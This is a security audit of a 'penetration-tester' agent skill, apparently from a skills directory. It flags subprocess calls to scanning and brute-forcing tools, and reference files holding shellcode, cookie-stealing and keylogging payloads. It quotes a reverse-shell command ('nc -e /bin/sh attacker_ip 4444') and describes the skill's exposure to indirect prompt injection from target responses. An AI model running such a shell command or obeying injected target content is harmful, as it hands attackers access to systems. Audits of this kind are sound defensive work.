The Agent Skills Directory

[COMMAND_EXECUTION]: Multiple Python scripts in the skill execute external security tools by spawning subprocesses with arguments derived from user input.
Evidence: scripts/auth_test.py, scripts/recon_scan.py, scripts/sql_injection_test.py, scripts/vuln_scan.py, scripts/web_app_test.py, and scripts/xss_test.py utilize subprocess.run() to execute binaries such as nmap, sqlmap, hydra, gobuster, and zap-cli.
[REMOTE_CODE_EXECUTION]: The reference material contains functional shellcode and exploit payloads that are flagged as malicious by security scanners.
Evidence: references/attack_vectors.md includes hexadecimal shellcode designed to spawn a /bin/sh shell and examples of buffer overflow exploitation. Automated scans flagged this file as 'Python:Agent-RX [Trj]'.
[DATA_EXFILTRATION]: The skill provides explicit instructions and code for exfiltrating sensitive information to external servers.
Evidence: references/attack_vectors.md documents payloads for cookie stealing via fetch() and keylogging, as well as reverse shell commands (nc -e /bin/sh attacker_ip 4444) flagged by YARA signatures.
[PROMPT_INJECTION]: The skill is highly vulnerable to indirect prompt injection due to its core workflow of processing data from untrusted external targets.
Ingestion points: The agent ingests data from target URLs, including web content and scanner outputs (found in scripts/recon_scan.py and scripts/web_app_test.py).
Boundary markers: No explicit delimiters or instructions are used to prevent the agent from obeying instructions embedded in target responses.
Capability inventory: The skill possesses extensive capabilities including network scanning, authentication brute-forcing, and vulnerability exploitation tools.
Sanitization: Scripts perform only basic URL protocol validation (checking for http:// or https://) and do not sanitize data retrieved from external targets before processing it.

penetration-tester